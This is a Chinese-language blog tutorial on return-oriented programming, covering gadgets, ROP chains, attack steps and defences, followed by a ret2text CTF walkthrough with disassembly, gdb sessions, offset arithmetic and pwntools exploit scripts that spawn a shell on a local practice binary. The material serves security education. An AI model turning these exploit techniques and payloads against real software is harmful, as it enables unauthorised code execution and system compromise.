Basic ROP Learning

Basic-ROP-Learning

ROP(Return-Oriented Programming)概述

ROP(Return-Oriented Programming)是一种高级的代码复用攻击技术,主要用于绕过现代操作系统的安全防护机制(如DEP/NX)。其核心思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

1. 基本概念

(1)产生背景

  • DEP/NX防护:现代系统禁止执行栈/堆上的代码(数据执行保护)。

  • ASLR防护:随机化内存布局,增加预测难度。

  • ROP应对方案:复用已有代码(.text段),避免直接注入shellcode。

(2)核心原理

  • Gadget:以ret指令结尾的短指令序列(如pop eax; ret)。

  • 链式调用:通过精心构造栈帧,使ret指令跳转到下一个gadget,形成”代码链”。


2. 关键组件

组件 作用
Gadget 程序中原有的短指令序列(通常以ret结尾),实现基本操作(如读写寄存器)。
ROP Chain 由多个gadget地址和参数组成的栈数据,控制程序执行流。
Stack Pivot 将栈指针(ESP/RSP)转移到攻击者控制的内存区域(如堆),便于构造链。

3. 攻击步骤

  1. 信息泄露

    • 获取内存地址(绕过ASLR),如通过格式化字符串漏洞泄露libc基址。
  2. 寻找Gadgets

    • 使用工具(如ROPgadgetropper)扫描二进制文件,收集可用gadgets。
  3. 构造ROP Chain

    • 组合gadgets实现目标功能(如调用system("/bin/sh"))。
  4. 触发漏洞

    • 通过栈溢出等漏洞覆盖返回地址,跳转到第一个gadget。

4. 防御措施

防御技术 原理
ASLR 随机化内存布局,增加gadget地址预测难度。
Stack Canary 在栈帧中插入校验值,防止返回地址被覆盖。
CFI 控制流完整性(Control-Flow Integrity),限制跳转目标仅为合法地址。
PIC/PIE 位置无关代码,增强ASLR效果。

5.实例 Linux x86 ROP Exploit

(1) ret2text
  • 基本分析

点击下载: ret2text

先看看程序的保护机制

~ checksec ret2text
[*] '/ret2text'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

可以看出程序是 32 位程序,且仅开启了栈不可执行保护。接下来我们使用 IDA 反编译该程序:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(s);
  printf("Maybe I will tell you next time !");
  return 0;
}

我们可以看到,程序在main函数使用了很可疑的gets,那程序中就存在栈溢出漏洞,我们回到IDA看反汇编代码

.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD ; __unwind {
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system 

secure函数中我们看到了存在调用system("/bin/sh"),那我们的思路就是只能能覆盖到这个地址(即0x0804863A)上就可以拿到shell了,现在再来确定我们能够控制的内存的起始地址距离main 函数的返回地址的字节数。

.text:080486A7                 lea     eax, [esp+80h+s]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets
.text:080486B3                 mov     dword ptr [esp], offset format ; "Maybe I will tell you next time !"
.text:080486BA                 call    _printf
.text:080486BF                 mov     eax, 0
.text:080486C4                 leave

用gef调试看看,现在call _gets的地址处下断点,然后run一下

~ gdb ret2text
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
gef➤ b *0x080486AE 
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24. 
gef➤ r 
There is something amazing here, do you know anything? Breakpoint 1, 0x080486ae in main () at ret2text.c:24

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf6c0xf7fc66d00x0000000e
$ebx   : 0xf7fac0000x00229dac
$ecx   : 0xf7fad9b40x00000000
$edx   : 0x1
$esp   : 0xffffcf500xffffcf6c0xf7fc66d00x0000000e
$ebp   : 0xffffcfd80xf7ffd0200xf7ffda400x00000000
$esi   : 0xffffd0940xffffd1fc"/home/explorer/CTF-Challenge/Pwn/linux/user-mode/s[...]"
$edi   : 0xf7ffcb800x00000000
$eip   : 0x080486ae  →  <main+0066> call 0x8048460 <gets@plt>
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
  • 栈内存布局分析

buf地址:0xffffcd5c(因为它是由 eaxesp 指向),ebp0xffffcdc8,而 buf0xffffcd5c,两者距离为:0xffffcdc8 - 0xffffcd5c = 0x6c (108 字节), 因此,输入 108 字节后即可覆盖返回地址。

  • 验证猜想

    通过我们上面的分析可以构造以下payload:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * 108 + p32(target))
sh.interactive()

得到以下输出,想想是哪里出了问题呢?

~ python3 exp.py
[+] Starting local process './ret2text': pid 1593
[*] Switching to interactive mode
There is something amazing here, do you know anything?
Maybe I will tell you next time ![*] Got EOF while reading in interactive
$ ls
[*] Process './ret2text' stopped with exit code -11 (SIGSEGV) (pid 1593)
[*] Got EOF while sending in interactive

在此,笔者需要做一个小提示,在某些情况下,寄存器会占用栈空间(后续会专门发文详述),而在32位情况下。我们的ebp占用了4字节,所以正确的偏移地址应该是:

总偏移 = buf 到 EBP 的距离 (0x6c) + EBP 自身大小 (4) = 0x70 (112)

因此,正确的payload是:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
# sh.sendline(b'A' * (108+4) + p32(target))
sh.sendline(b'A' *(108+4) + p32(target))
sh.interactive()

输出如下:

explorer@DESKTOP-JPMNN21:~/CTF-Challenge/Pwn/linux/user-mode/stackoverflow/x86/basic-rop$ python3 exp.py
[+] Starting local process './ret2text': pid 1766
[*] Switching to interactive mode
There is something amazing here, do you know anything?
Maybe I will tell you next time !$ ls
exp.py  flag  ret2text
$ cat flag
flag{This_is_the_right_payload}
$
[*] Interrupted
[*] Stopped process './ret2text' (pid 1766)

不断更新,敬请期待!


Basic ROP Learning
https://p4y1oad.github.io/2025/04/19/Basic-ROP-Learning/
Author
Hailin Zheng
Posted on
April 19, 2025
Licensed under